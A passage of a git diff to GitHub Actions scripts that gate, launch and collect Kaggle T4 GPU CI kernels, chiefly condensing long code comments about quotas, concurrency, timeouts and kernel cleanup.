+ # Without the kernel's own count the plan is UNKNOWN, not the caller's default.
if kind == "notebook":
return None
return default
-# How a verdict is reported to GitHub. `infra` and `partial` are deliberately
-# NOT failures: nothing was learned about the code, and a red the author cannot
-# act on is how a required check gets dropped from branch protection.
+# infra and partial are not failures: nothing was learned about the code.
VERDICT_STATE = {
"pass": "success",
"fail": "failure",
@@ -338,12 +312,7 @@ def collect_one(
if state in ("QUEUED", "RUNNING"):
age = entry.get("age_hours")
if age is not None and age > max_age_hours:
- # Reported as a FAILURE of collection rather than dropped: it has
- # been billing and will never produce a result, and silence leaves
- # the commit reading "not run" forever.
record["verdict"] = "reaped"
- # "released", not "deleted": the delete happens in a later step
- # that can be refused, and this reason is posted before it runs.
record["reason"] = (
f"the kernel was still {state} after {age:.1f}h, past the {max_age_hours}h "
"ceiling, so it is released for deletion. It was billing accelerator "
@@ -363,8 +332,6 @@ def collect_one(
return record
if state == "UNKNOWN":
- # Left alone: an unreadable status says nothing, and both actions here
- # are destructive. The next pass asks again.
record["verdict"] = "pending"
record["reason"] = "status unreadable this pass"
return record
@@ -375,16 +342,13 @@ def collect_one(
return record
if state not in launch.TERMINAL_OK | launch.TERMINAL_BAD:
- # Only a KNOWN terminal state may download, judge, post and delete.
- # Kaggle's enum can grow, and judging an unknown state posts a green
- # `infra` for a run still to come and then deletes it.
+ # Only a known terminal state may judge and delete; Kaggle's enum can grow.
record["verdict"] = "pending"
record["reason"] = f"state {state} is not one this collector judges; asked again next pass"
_log(f"unrecognised state {state} for {slug}; kept")
return record
- # Terminal. Evidence FIRST, delete second: a delete before the download
- # turns a finished run into a result nobody can read.
+ # Download evidence before deleting.
dest = outdir / slug.rsplit("/", 1)[-1]
try:
evidence_deadline = time.time() + EVIDENCE_BUDGET_SEC
@@ -394,14 +358,11 @@ def collect_one(
except Exception as exc: # noqa: BLE001
record["evidence"] = None
if _gone(exc):
- # Deleted by another pass between our status call and this
- # download: their verdict stands, ours would be an `infra` on top.
record["verdict"] = "gone"
record["reason"] = "another collector finished this kernel first"
_log(f"{slug} was collected by another pass")
return record
- # `pending` rather than `infra`: `infra` posts green and releases the
- # kernel, losing a real result to one transient failure.
+ # pending, not infra: infra posts green and releases the kernel.
record["verdict"] = "pending"
record["reason"] = (
f"the kernel finished but its evidence would not download this pass "
@@ -412,9 +373,6 @@ def collect_one(
record["evidence"] = evidence
if evidence.get("truncated"):
- # fetch_evidence flags a spent budget instead of raising, so same
- # answer as above: judging a short set reads a run that lost half its
- # notebooks as whatever the surviving half says.
record["verdict"] = "pending"
record["reason"] = (
"the evidence download was incomplete this pass; the kernel is kept for the next one"
@@ -425,9 +383,6 @@ def collect_one(
try:
reports = launch.extract_reports(dest)
except Exception as exc: # noqa: BLE001
- # Evidence that downloaded but cannot be read will not read better next
- # pass, and raising here wedges every later one. Nothing was learned, so
- # `infra`, and the kernel is released.
reports = []
record["report_error"] = f"{type(exc).__name__}: {exc}"[:200]
_log(f"unreadable report in {slug}: {type(exc).__name__}")
@@ -435,8 +390,6 @@ def collect_one(
expect = expected_reports(dest, expect, record.get("kind") or "")
record["expected"] = expect
if expect is None:
- # Plan unknown: a failure is still a failure, but completeness cannot
- # be shown, so no pass is claimed.
verdict, reason = verdict_of(reports, len(reports))
if verdict == "pass":
verdict, reason = (
@@ -485,7 +438,7 @@ def statuses_from(records: list[dict], target_url: str = "") -> list[dict]:
continue
context = STATUS_CONTEXTS[kind]
state = VERDICT_STATE.get(record["verdict"], "success")
- # One line: GitHub shows the description on one line and caps it at 140.
+ # GitHub caps the description at 140 chars on one line.
description = " ".join(f"{record['verdict']}: {record['reason']}".split())[:140]
status = {
"sha": sha,
@@ -496,12 +449,7 @@ def statuses_from(records: list[dict], target_url: str = "") -> list[dict]:
"slug": record["slug"],
"slugs": [record["slug"]],
}
- # Two kernels for one commit under one context (slots 1 and 2) must not
- # race to post last: a failure wins whichever kernel found it, and both
- # are named so the delete step releases both. Keyed on the sha as the
- # slug carries it; only the commits API can say whether an 8 and a 12
- # character slug name one commit, so post_statuses merges after
- # resolving.
+ # Two kernels for one commit and context merge so a failure wins regardless of order.
key = (sha, context)
prior = out.get(key)
if prior is None:
@@ -514,13 +462,8 @@ def statuses_from(records: list[dict], target_url: str = "") -> list[dict]:
return list(out.values())
-# Verdicts whose kernel is finished with once the status is delivered. `pending`
-# and `gone` own nothing to delete; `None` never got as far as a verdict.
DELETABLE = {"pass", "fail", "partial", "infra", "reaped"}
-# Ceiling on the release phase. delete_kernel allows three 180-second attempts
-# per kernel, so an unbounded release after a full BUDGET_SEC collection could
-# outlive the job. Leftovers are released by the next pass.
RELEASE_BUDGET_SEC = 600
@@ -538,11 +481,8 @@ def delete_collected(result_path: Path, posted_path: Path | None) -> int:
if posted_path and posted_path.exists()
else {}
)
- # Refused and rejected alike: nothing reached GitHub, so the kernel stays.
failed = set(posted.get("failed") or []) | set(posted.get("invalid") or [])
if posted_path and not posted_path.exists():
- # The poster never ran. Keep every kernel that had something to post,
- # or their verdicts are lost.
failed = {s["slug"] for s in data.get("statuses", [])} | {
slug for s in data.get("statuses", []) for slug in s.get("slugs", [])
}
@@ -659,9 +599,7 @@ def main() -> int:
return code
if args.require_auth and not os.environ.get("KAGGLE_API_TOKEN"):
- # Not configured is not broken: the collector's matrix is static, so a
- # repository with one Kaggle account leaves the second secret empty.
- # Warn and pass. A token that is present and refused is still red.
+ # A missing second account secret is not an error; a refused token still is.
print(
"::warning title=Kaggle account not configured::KAGGLE_API_TOKEN is empty in "
"this job, so nothing was collected for this account. A repository with one "
@@ -677,9 +615,6 @@ def main() -> int:
if isinstance(exc, KeyboardInterrupt):
raise
if args.require_auth:
- # The reaper runs on the repository's own token, so this is an
- # expired credential. A green empty pass would hide it while kernels
- # bill to their ceiling and commits stay pending.
_log(f"kaggle auth failed ({type(exc).__name__}) and this pass requires it")
print(
"::error title=Kaggle authentication failed::the collector could not "
@@ -688,8 +623,7 @@ def main() -> int:
"the token is repaired."
)
return finish(1)
- # A skip, not a failure, for the same reason gate.py skips: on a fork
- # pull request the secret is withheld and there is nothing to fix.
+ # Fork pull requests do not get the secret, so skip.
_log(f"kaggle auth failed ({type(exc).__name__}); nothing collected")
return finish()
@@ -697,17 +631,13 @@ def main() -> int:
result["owner"] = owner
_log(f"authenticated as {owner}")
- # The budget starts BEFORE the listing: five slow pages under the socket
- # timeout are minutes, and a deadline started after them is that much later
- # than the job timeout was sized for.
+ # The budget starts before the listing so it fits the job timeout.
deadline = time.time() + BUDGET_SEC
ours = find_ours(api, max_age_hours = args.max_age_hours, deadline = deadline)
_log(f"{len(ours)} kernel(s) of ours on this account")
for entry in ours:
if time.time() >= deadline:
- # Safe by construction: nothing was deleted that was not first
- # collected. Logged so a partial pass is not read as an empty one.
_log("collection budget spent; the rest is left for the next pass")
break
result["kernels"].append(
@@ -726,8 +656,7 @@ def main() -> int:
if args.sha:
want = args.sha.strip().lower()
- # Prefix match either way: SLUG_SHA_LEN characters now, eight before,
- # and both can be on the account at once.
+ # Prefix match: legacy 8-char and current SLUG_SHA_LEN slugs coexist.
result["in_flight_for_sha"] = any(
k.get("sha")
and (want.startswith(k["sha"]) or k["sha"].startswith(want))
diff --git a/.github/scripts/kaggle_t4_ci/gate.py b/.github/scripts/kaggle_t4_ci/gate.py
index 6114f34db42..61d8d5b545f 100644
--- a/.github/scripts/kaggle_t4_ci/gate.py
+++ b/.github/scripts/kaggle_t4_ci/gate.py
@@ -30,53 +30,51 @@ import sys
import time
from datetime import datetime, timedelta, timezone
-# Ceiling on any single network call, set globally before the first one. The Kaggle client takes no timeout of its own and Python's default is to block FOREVER, so without this a stalled connection returns to nobody: the `try` around each call never sees an exception, --soft-fail has nothing to convert into a skip, and the job's own timeout-minutes kills the runner and reports red on a workflow whose contract is that only a failed assertion on a T4 is red.
+# The Kaggle client has no timeout and Python's default blocks forever.
SOCKET_TIMEOUT_SEC = 60
-# Wall clock the in-flight survey may spend, whatever the account holds. The survey status-checks every kernel in a 13h window and pages up to MAX_KERNEL_PAGES x KERNELS_PAGE_SIZE of them, so slow responses multiply. Running out of budget is NOT read as an idle account: the walk stops with complete=False, which concurrency_verdict turns into a skip.
+# Running out of budget yields complete=False, which stands down rather than reading as idle.
SURVEY_BUDGET_SEC = 180
-# Kaggle's cap on simultaneous batch (committed) GPU kernels per account. Measured, not documented: exceeding it fails the push with "Maximum batch GPU session count of 2 reached."
+# Measured, not documented: Kaggle rejects a third concurrent batch GPU session.
MAX_CONCURRENT_GPU_KERNELS = 2
-# How many FOREIGN kernels may be in flight and this job still launch. ZERO IS DELIBERATE, a policy choice rather than a technical limit: the cap is per ACCOUNT and the account is shared with human use, so someone whose push is rejected cannot tell that CI took the slot and CI cannot give it back. Standing down costs a few minutes until the next commit draws again; being wrong costs somebody else's session.
+# Zero is deliberate: the account is shared with humans and CI must not take their slot.
ALLOWED_IN_FLIGHT_FOREIGN_KERNELS = 0
-# How many of Kaggle's slots one invocation takes. ONE, and the default rather than a per-workflow override because it is now true of both callers. This was 2 while the notebook leg ran four legs as two kernels of two, which took BOTH of the account's slots: the account is shared with human use, and kaggle-t4-studio-gpu-ci.yml runs on the same account, so with no slot left it could not push at all and the shared concurrency group meant it did not even try until the notebook job finished (run 32607617804 queued about 40 minutes behind notebook run 32607621452). The legs did not have to be split to fit: they now queue INSIDE one kernel, one worker per card, so four legs fit in one session, which also makes a control/canary split across two images and two hours impossible rather than merely avoided. The residual risk, a foreign kernel starting BETWEEN the survey and the push, is handled where it lands: the launcher recognises Kaggle's capacity rejection (CAPACITY_MARKERS) and reports it as infra, exiting 0.
+# One slot per invocation: all legs queue inside one kernel, leaving the other slot free.
KERNELS_PER_INVOCATION = 1
-# Kernel states that mean a session is occupying one of those slots.
BUSY_STATES = {"QUEUED", "RUNNING"}
-# How this job recognises its own kernels: `launch.py` pushes every kernel as `<user>/<OWN_KERNEL_PREFIX><8 hex>`, a fresh slug per attempt, and nothing else on the account uses that prefix. "The account is busy" and "this workflow is busy" call for opposite answers, so ours is reported separately rather than counted as a human, and still blocks, since it still occupies a slot.
+# Must match launch.py's SLUG_PREFIX; our kernels are reported separately but still block.
OWN_KERNEL_PREFIX = "unsloth-t4-ci-"
-# How far back the in-flight survey looks, and why that bound is COMPLETE rather than merely convenient. Kaggle exposes no "list my running sessions" call, so finding an in-flight kernel means listing kernels and status-checking them; the listing is sorted by last run time descending, and for an unfinished kernel that timestamp is when the run STARTED (measured: a kernel pushed at 10:05:19Z listed as last_run_time 10:05:19.297). Kaggle kills a notebook session at 12 hours, so a kernel still QUEUED or RUNNING cannot have started more than 12 hours ago and once the walk reaches an older entry every remaining one is older still. Stopping there is exhaustive rather than a sample, which the previous fixed bound of "the 12 most recent kernels" was not.
+# Kaggle kills sessions at 12h and the listing is sorted by start time, so this bound is exhaustive.
MAX_SESSION_HOURS = 12.0
-# Slack on top, for clock skew between Kaggle's timestamps and this runner, and for any future raise of the session ceiling.
CLOCK_SKEW_HOURS = 1.0
LOOKBACK_HOURS = MAX_SESSION_HOURS + CLOCK_SKEW_HOURS
-# Paging for that walk. The page cap stops a pathological account making the gate walk forever; reaching it means the survey did NOT cover the whole window, reported as incomplete and treated as "unknown", never as "idle".
+# Hitting the page cap means the survey is incomplete, never idle.
KERNELS_PAGE_SIZE = 100
MAX_KERNEL_PAGES = 5
-# The two ways a status lookup can fail, only one of them benign. A deleted kernel stays in the listing for a while and answers its status call with a 404, which is not an unknown state but a kernel definitively not running, and blocking on it would wedge the gate shut since the launcher deletes every kernel it pushes. Anything else (a 5xx, a socket timeout, a client bug) says nothing about the kernel, which may be a human's RUNNING session. So 404 counts as "gone", everything else as "unreadable", and only the second stands the job down.
+# 404 means a deleted kernel (gone); any other error is unreadable and stands the job down.
GONE_MARKERS = ("404", "not found", "notfound", "does not exist")
-# What an exhausted weekly quota says, verbatim, in the log line and in the job summary. It is addressed to whoever opened the pull request, who did not cause it and cannot clear it. The measured numbers are appended rather than replacing it, so the reader can see WHEN it clears; this sentence stays intact.
+# Shown to PR authors; keep this sentence intact and append measured numbers.
QUOTA_EXHAUSTED_MESSAGE = (
"GPU capacity exhausted - please wait until next week - you can ignore this CI failure"
)
-# The accounts CI may spend, in order. The env var names are the SECRET names the workflows pass through; the account id is the position, which the concurrency group and the job summary use. Deliberately not carrying each account's weekly hours: they are read from `quota_view()` per run, so a plan changed on Kaggle's side changes the split with nothing here to go stale.
+# Env var names are the secret names; the account id is the position.
DEFAULT_ACCOUNT_ENVS = ("KAGGLE_API_TOKEN", "KAGGLE_API_TOKEN_2")
-# `--reserve-hours` was calibrated against an account of this size. See `scaled_reserve`: the reserve is a FRACTION of the plan, not a fixed number of hours, or the smaller account keeps back proportionally more.
+# The reserve scales as a fraction of the plan; see scaled_reserve.
DEFAULT_RESERVE_BASIS_HOURS = 60.0
-# An account answering with one of these hands over to the next one instead of standing the whole run down: none of them says anything about the code under test. `credential_absent` is here so a repo holding one secret still works, which is also what a fork sees. What is NOT here is every decision made ABOVE the account (not sampled, wrong label, bad input), because those are answers about the run, and trying a second account would be answering a question nobody asked.
+# Account-level answers that hand over to the next account; run-level decisions are excluded.
FALLBACK_ELIGIBLE = frozenset(
{
"credential_absent",
@@ -257,7 +255,7 @@ def probe_account(
record["detail"] = f"could not authenticate to Kaggle: {type(exc).__name__}"
return record, None
- # Refused rather than defaulted. The launcher names the kernel's owner, and a run that cannot say who it authenticated as cannot name it correctly, which is exactly the state a hardcoded username hides.
+ # Refused rather than defaulted: the owner must come from the authenticated token.
username = client_username(api)
if not username:
record["outcome"] = "username_unreadable"
@@ -314,7 +312,7 @@ def survey_kernels(
``busy``/``own``/``foreign`` are every in-flight kernel and its two disjoint halves, a kernel being ours when its slug carries OWN_KERNEL_PREFIX. ``complete`` says the walk ran off the end of the listing or reached an entry outside the window; False means the page cap or ``budget_sec`` stopped it first. ``out_of_budget`` says it stopped on wall clock, since being killed by the job timeout costs the runner and reports red while giving up inside the deadline reports an incomplete survey, which is a skip. ``surveyed``/``unreadable``/``gone`` count how many in-window kernels were status-checked, how many left their state genuinely unknown, and how many answered 404 (a deleted kernel rather than an unknown one); one unreadable status is not evidence of an idle account, so it is counted apart from the benign kind. See GONE_MARKERS.
"""
- # Naive UTC, matching what Kaggle returns. utcnow() is the same and is deprecated from 3.12.
+ # Naive UTC to match Kaggle; utcnow() is deprecated from 3.12.
now = now or datetime.now(timezone.utc).replace(tzinfo = None)
cutoff = now - timedelta(hours = lookback_hours)
busy: list[str] = []
@@ -342,7 +340,6 @@ def survey_kernels(
out_of_budget = True
break
last_run = _as_naive_utc(getattr(kernel, "last_run_time", None))
- # A missing timestamp says nothing about age, so it cannot end the walk, but it can still be checked.
if last_run is not None and last_run < cutoff:
complete = True
break
@@ -350,7 +347,7 @@ def survey_kernels(
try:
status = str(getattr(api.kernels_status(ref), "status", ""))
except Exception as exc: # noqa: BLE001
- # A 404 is a deleted kernel, so the slot is free. Any other error leaves the state unknown, which is not evidence of an idle account. See GONE_MARKERS.
+ # 404 frees the slot; any other error leaves the state unknown. See GONE_MARKERS.
if _looks_gone(exc):
gone += 1
print(f"[gate] status 404 for {ref}: already deleted", flush = True)
@@ -362,13 +359,11 @@ def survey_kernels(
if state in BUSY_STATES:
entry = f"{ref} ({state})"
busy.append(entry)
- # Ownership is read off the SLUG, the part after the username: a foreign kernel belongs to the same user, so the user half says nothing.
slug = ref.rsplit("/", 1)[-1]
(own if slug.startswith(OWN_KERNEL_PREFIX) else foreign).append(entry)
if complete or out_of_budget:
break
if len(kernels) < page_size:
- # Ran off the end of the account's kernels, so nothing is left to miss.
complete = True
break
@@ -385,7 +380,6 @@ def survey_kernels(
"surveyed": surveyed,
"unreadable": unreadable,
"gone": gone,
- # An abandoned walk is never complete, whatever it saw on the way.
"complete": complete and not out_of_budget,
"out_of_budget": out_of_budget,
"window_hours": lookback_hours,
@@ -432,7 +426,7 @@ def concurrency_verdict(
f"{survey['window_hours']}h window within {ran_out}, so an older "
"kernel of this account could still be running unseen"
)
- # ANY unreadable candidate, not just all of them: the one in-window kernel that could not be read may be the human session this job yields to, and "the ones we could read were idle" is no answer about it. Deleted kernels answer 404 and count as `gone`, so the routine case does not wedge the gate shut.
+ # Any unreadable candidate stands down: it may be the human session we yield to.
if survey.get("unreadable"):
return False, (
f"{survey['unreadable']} of {survey['surveyed']} in-window kernel "
@@ -525,7 +519,7 @@ def main() -> int:
"CI yields to it. See "
"ALLOWED_IN_FLIGHT_FOREIGN_KERNELS before raising it",
)
- # THREE states, not two, which is why this is store_const against a default of None rather than store_true. An error in the gate is a skip whether or not anyone asked, but an exhausted quota is a failure UNLESS a caller asked for soft failure, and "the flag defaults to on" would make that request unaskable: every invocation would look like it had been made and the red would never appear. So None means "nobody said", True means "asked", False means "--no-soft-fail".
+ # Tri-state: None (unset), True (--soft-fail), False (--no-soft-fail). Exhaustion is soft only on True.
ap.add_argument(
"--soft-fail",
dest = "soft_fail",
@@ -545,14 +539,12 @@ def main() -> int:
)
args = ap.parse_args()
- # An error in the gate says nothing about the code under test, so it stays a skip unless --no-soft-fail was passed.
errors_are_skips = args.soft_fail is not False
- # Exhaustion is a fact about the account, and only an explicit request softens it.
exhaustion_is_soft = args.soft_fail is True
label_name = args.label_name.strip().lower()
- # A LABEL EVENT IS A REQUEST ONLY IF IT IS THE OPT-IN LABEL, checked first because it is what keeps the budget arithmetic true. The workflow subscribes to `labeled` so the opt-in label can start a run, but GitHub fires that action for EVERY label: without this, each unrelated label is a fresh run and a fresh sampling draw while the workflow's estimate counts only pull request opens and pushes, and once the opt-in label is present it stays in the label list so every LATER label arrives as an override and FORCES a session. Every other action (opened, synchronize, reopened, a push, a dispatch) is unaffected.
+ # Only the opt-in label counts as a request: GitHub fires `labeled` for every label.
action = args.event_action.strip().lower()
if action == "labeled":
applied = args.event_label.strip().lower()
@@ -573,7 +565,7 @@ def main() -> int:
override = True
print(f"[gate] override: label {args.label_name!r} present", flush = True)
- # Reported even when overridden, so the log shows what the unforced answer would have been. run_attempt is excluded so a re-run cannot reroll.
+ # run_attempt is excluded so a re-run cannot reroll.
picked, draw = sampled_in(str(args.run_id), args.percent)
print(
f"[gate] sampling draw={draw} threshold={args.percent} "
@@ -599,10 +591,10 @@ def main() -> int:
+ ", ".join(account_envs),
)
- # Before the first network call, and globally: authenticate(), quota_view() and every status call below go through a client with no timeout of its own, and a stalled one would outlive this job's timeout-minutes. With it, a stall raises and the handlers below turn it into a skip. See SOCKET_TIMEOUT_SEC.
+ # Before any network call: the Kaggle client has no timeout of its own.
socket.setdefaulttimeout(SOCKET_TIMEOUT_SEC)
- # Every account's quota is read BEFORE the draw, because the draw is weighted by what those calls report. Two quota calls, no session, and the weights are then a measurement rather than a number somebody typed.
+ # Quotas are read before the draw, which is weighted by them.
probes: dict[str, dict] = {}
clients: dict[str, object] = {}
for index, env_name in enumerate(account_envs, start = 1):
@@ -632,7 +624,7 @@ def main() -> int:
print("[gate] accounts " + json.dumps(list(probes.values())), flush = True)
_out("accounts", json.dumps(list(probes.values())))
- # An unreadable quota means no weight but still a CANDIDATE: it costs the account its share of the traffic, not its place in the queue.
+ # An unreadable quota loses its weight but stays a candidate.
weights = {i: p["total_hours"] for i, p in probes.items() if p.get("total_hours")}
account_key = (args.head_sha or "").strip().lower() or str(args.run_id)
sampled_account, account_draw = weighted_pick(account_key, weights)
@@ -651,11 +643,10 @@ def main() -> int:
flush = True,
)
- # Sampled account first, then declaration order. Only an account actually considered pays for a survey, the expensive call here.
order = [sampled_account] + [i for i in probes if i != sampled_account]
handovers: list[str] = []
surveys: dict[str, dict] = {}
- # ONE survey budget for the whole gate: two bounded surveys back to back outlive the job timeout, and a runner killed mid-question is a red rather than the soft stand-down an incomplete survey gives.
+ # One survey budget for the whole gate so two surveys cannot outlive the job timeout.
survey_deadline = time.monotonic() + SURVEY_BUDGET_SEC
def _survey(account_id: str) -> dict:
@@ -666,7 +657,7 @@ def main() -> int:
)
return surveys[account_id]
- # Ask EVERY usable account about this commit before choosing one: an earlier run may have handed the commit to the other account, and a retry finding the preferred one free again would never look at the kernel still running. Capacity for a NEW launch is beside the point here.
+ # Check every account for an in-flight kernel of this commit before choosing one.
slot = str(args.slot or "1").strip()
if args.head_sha and args.kind:
for account_id in order:
@@ -675,7 +666,7 @@ def main() -> int:
try:
survey = _survey(account_id)
except Exception: # noqa: BLE001
- continue # reported below, where the account is considered
+ continue
already = in_flight_for_commit(survey["own"], args.head_sha, args.kind, slot)
if already:
return _decide(
@@ -727,7 +718,7 @@ def main() -> int:
_out("account", account_id)
_out("account_env", record["env"])
_out("account_user", record["user"])
- # A ONE-ELEMENT matrix, and the token is not in it. The GPU job indexes the secrets context with `secret_name`, which is the only shape that cannot end up holding a different account's token than the metadata beside it claims.
+ # The GPU job indexes secrets by `secret_name`, so the token is never in the matrix.
_out(
"matrix",
json.dumps(
@@ -761,7 +752,7 @@ def main() -> int:
f"{MAX_CONCURRENT_GPU_KERNELS} kernel slots free{moved}",
)
- # Nobody could run. WHICH stand-down this is depends on what every account said, and only one of the answers is a failure: an account out of hours is a fact about the week, while an unreadable one is a fact about the minute, so a single unreadable account keeps the whole verdict green. An account with no credential is not a candidate at all, which is what a fork and a repo holding one of the two secrets see, so counting it as "not exhausted" would turn the exhausted RED into a green skip for everyone with a single account configured.
+ # Red if all candidates are exhausted; unreadable stays green; no-credential accounts are ignored.
candidates = {i: p for i, p in probes.items() if p["outcome"] != "credential_absent"}
outcomes = {i: p["outcome"] for i, p in candidates.items()}
@@ -787,7 +778,6 @@ def main() -> int:
print("[gate] no account could be authenticated: " + json.dumps(outcomes), flush = True)
return 1
- # The per-account sentences, not the codes: these are read by whoever opened the pull request, who did not cause any of this and cannot fix it. With one account configured this reads exactly as the single-account gate did.
details = [
probes[i].get("detail") or probes[i]["outcome"]
for i in sorted(probes)
diff --git a/.github/scripts/kaggle_t4_ci/launch.py b/.github/scripts/kaggle_t4_ci/launch.py
index 19551388b4d..c34c7f7df83 100644
--- a/.github/scripts/kaggle_t4_ci/launch.py
+++ b/.github/scripts/kaggle_t4_ci/launch.py
@@ -35,7 +35,6 @@ from pathlib import Path, PurePosixPath, PureWindowsPath
sys.path.insert(0, str(Path(__file__).resolve().parent))
-# What Kaggle says when a kernel is not there. Defined next to the gate's survey, which has to tell a deleted kernel from an unreadable one for the same reason cleanup does. See _already_gone.
from gate import GONE_MARKERS # noqa: E402
API_ROOT = "https://www.kaggle.com/api/v1"
@@ -47,16 +46,17 @@ TERMINAL_BAD = {"ERROR", "CANCEL_REQUESTED", "CANCEL_ACKNOWLEDGED"}
_STATUS_RE = re.compile(r"KernelWorkerStatus\.(?P<status>[A-Z_]+)")
-# The slug is the ONLY record that survives the runner: dispatch mode exits minutes after the push and a DIFFERENT job collects, possibly days later, with no artifact or database between them, so Kaggle's kernel listing is that database and a kernel carries exactly one field we control. `unsloth-t4-ci-n1a2b3c4d5e6f-9f8e` is kind, then sha12, then a uid for uniqueness so two runs on one commit do not collide. Twelve hex, not eight: two commits sharing eight characters give indistinguishable kernels, and the commits API then 422s the prefix on every pass so the status stays pending forever. `OWN_KERNEL_PREFIX` in gate.py is the first 14 characters and MUST keep matching: it is how the survey tells our kernels from a human's, and one it cannot recognise is not counted against Kaggle's 2-session cap.
+# The slug is the only record collect.py sees: kind, then sha12, then a uid.
+# gate.py's OWN_KERNEL_PREFIX must keep matching SLUG_PREFIX.
SLUG_PREFIX = "unsloth-t4-ci-"
-# One character each, so the slug survives `_slugify` and stays under Kaggle's length limit. A wire format, not an enum: a collector reads it back days later.
+# Wire format read back by the collector; one char each to fit Kaggle's slug limit.
KIND_CODES = {"notebook": "n", "studio": "s"}
CODE_KINDS = {v: k for k, v in KIND_CODES.items()}
-# Legacy slugs (`unsloth-t4-ci-<8 hex>`) are still OURS and must still be reaped, but carry no commit to report against. The alternation reads 8 to 40 hex rather than making the collector guess from length.
+# Legacy 8-hex slugs are still ours and must be reaped.
SLUG_SHA_LEN = 12
-# The `slot` input, when it is not 1, sits between the dash and the uid (`-2<uid4>`). Slot 2 is a deliberate SECOND session on the same commit, so the duplicate check has to say "this commit, this kind, THIS slot"; absent means slot 1, so every slug pushed before the slot existed still reads.
+# Slot 2 is encoded before the uid; absent means slot 1.
CI_SLUG_RE = re.compile(
r"^(?:(?P<owner>[^/]+)/)?"
+ re.escape(SLUG_PREFIX)
@@ -97,10 +97,10 @@ def slug_name(
PUSH_ATTEMPTS = 4
PUSH_BACKOFF_SEC = 45
-# Ceiling on one `kaggle kernels push` subprocess. Named because the workflow's job timeout derives from it, and because exceeding it is a retryable, ambiguous outcome rather than an error (see push()).
+# The workflow's job timeout is derived from this; exceeding it is retryable.
PUSH_SUBPROCESS_TIMEOUT_SEC = 600
-# What a throttled or briefly unavailable push looks like coming back. The JSON-decode message is the common face: Kaggle answers 429 and 503 with an HTML error page, the client decodes it as JSON anyway, and the throttling is never named. Everything else (a bad slug, a rejected accelerator, missing credentials) is deterministic and must not be retried.
+# Kaggle returns HTML for 429/503, which the client reports as a JSON decode error.
THROTTLED_PUSH = (
"expecting value: line 1 column 1",
"429",
@@ -114,7 +114,6 @@ THROTTLED_PUSH = (
"connection aborted",
)
-# Kaggle's concurrency cap, reported as a push rejection rather than a queue.
CAPACITY_MARKERS = (
"maximum batch gpu session count",
"session count of 2 reached",
@@ -125,21 +124,21 @@ CAPACITY_MARKERS = (
"no quota for",
)
-# Ceiling on any single network call. urllib takes an explicit timeout and the Kaggle client does not, so this is the only bound on its status and quota calls; without it, one call that never returns outlasts every deadline in this file while the kernel it was watching keeps billing.
+# The Kaggle client has no per-call timeout, so this is its only bound.
SOCKET_TIMEOUT_SEC = 120
-# Consecutive unreadable statuses before we stop waiting. One is not enough: the API returns transient 5xx that the client prints exactly like a permanent refusal, and giving up on a blip abandons a kernel still doing the work.
+# Transient 5xx look like permanent refusals, so tolerate several in a row.
MAX_CONSECUTIVE_UNKNOWN = 10
-# Attempts at deleting ONE kernel, and the first gap between them. Deleting is the budget control, so a refused delete is retried rather than written off. Named, like the push ceiling, because the job timeout is derived from them: ONE delete costs DELETE_ATTEMPTS x DELETE_SUBPROCESS_TIMEOUT_SEC plus its backoffs, and both push() and release() pay it. The harness suite recomputes the total from these three and asserts the workflow's deadline sits above it.
+# The job timeout is derived from these; the harness suite recomputes it.
DELETE_ATTEMPTS = 3
DELETE_BACKOFF_SEC = 5
DELETE_SUBPROCESS_TIMEOUT_SEC = 180
-# Pages of `kernels/output` one listing walks before it stops asking, and the ceiling on the WHOLE evidence phase: every kernel's listing pages and every notebook download together. ONE budget for all of it, started before the first collection, because that is the only shape the job deadline can be derived from: per call the bound was OUTPUT_PAGE_LIMIT pages at the 120s socket ceiling, 2400s for one kernel's listing alone, plus 300s per executed notebook with no cap on how many Kaggle lists, so a slow endpoint spent the job's remaining wall clock here and the runner was killed before finish() -> release() ran, leaving billable kernels up. Enforcement is "start no new work past the deadline", each call's own timeout clamped to what remains, AND the body read in chunks against the same absolute deadline. The last part is not redundant: urllib's timeout is per socket operation, not a ceiling on the transfer, so an endpoint that keeps returning bytes resets it forever and a single `resp.read()` outlasts the whole budget. Evidence is best effort by design, because the alternative is spending the deletion window on it.
+# One budget for all evidence, started before collection, so the job deadline can be derived.
+# Bodies are read in chunks against it because urllib's timeout is per socket operation.
EVIDENCE_BUDGET_SEC = 600
OUTPUT_PAGE_LIMIT = 20
-# Per read. Small enough that the deadline is re-checked often against a slow stream, large enough not to syscall per kilobyte on a fast one.
READ_CHUNK_BYTES = 1 << 16
@@ -163,7 +162,7 @@ def worst_case_seconds(
+ (PUSH_ATTEMPTS - 1) * one_delete
)
if dispatch:
- # Dispatch stops after the pushes, so the phases below are unreachable and counting them would make the pre-push guard demand ~2h for a job that exits in five. The retry _discard()s stay in: those run in push().
+ # Dispatch exits after pushing, so later phases are not counted.
return kernels * per_push
return (
max(kernels * per_push, max_wait)
@@ -174,7 +173,7 @@ def worst_case_seconds(
_STDOUT_FD = 1
-# Set once, on entry to the signal handler, and never cleared: the process is dying. Below it, NO line written to stdout may either block or raise, and both have to be handled here rather than at the handler's own call sites: release() reports a refused delete through the ordinary path, and either failure strands the cleanup, since a block never reaches the retry or the `finally` and a raise abandons the remaining delete attempts for a kernel that is still billing.
+# Once set, stdout writes must neither block nor raise, or kernel cleanup is stranded.
_IN_SIGNAL_HANDLER = False
@@ -257,7 +256,8 @@ def username_of(api) -> str | None:
return None
-# A kernel this process pushed but has not yet deleted is recorded here, so a LATER launch can reclaim it. This is the only cover for `kill -9`. Deliberately keyed on pid: an entry whose owner is still alive belongs to a run in progress, or one launcher would delete a concurrent launcher's kernel and report its absence as a failure of the code under test.
+# Registry of pushed but undeleted kernels so a later launch can reclaim them after kill -9.
+# Keyed on pid: a live owner's kernels must never be deleted.
INFLIGHT = (
Path(os.environ.get("UNSLOTH_WORKSPACE") or Path(__file__).resolve().parents[3])
/ "logs"
@@ -353,9 +353,9 @@ def sweep_orphans(owner: str | None = None) -> list[str]:
timeout = 180,
)
except Exception: # noqa: BLE001
- keep.append(entry) # try again next time rather than forget it
+ keep.append(entry)
continue
- # A nonzero exit does NOT raise, so the return code is the only thing that separates "reclaimed" from "Kaggle refused and the kernel is still running and still billing". Forgetting the entry there is how one bills to its ceiling unnoticed.
+ # A nonzero exit does not raise; keep the entry unless the delete succeeded.
if proc.returncode == 0:
reclaimed.append(slug)
else:
@@ -402,7 +402,7 @@ def push(
if attempted:
_discard(attempted[-1])
name = slug_name(kind, commit_sha, slot)
- # The slug derives from the TITLE, not the metadata id: a mismatch files the kernel at an unexpected address, every later status/output call 403s and no collector can attribute it. So assert the round trip.
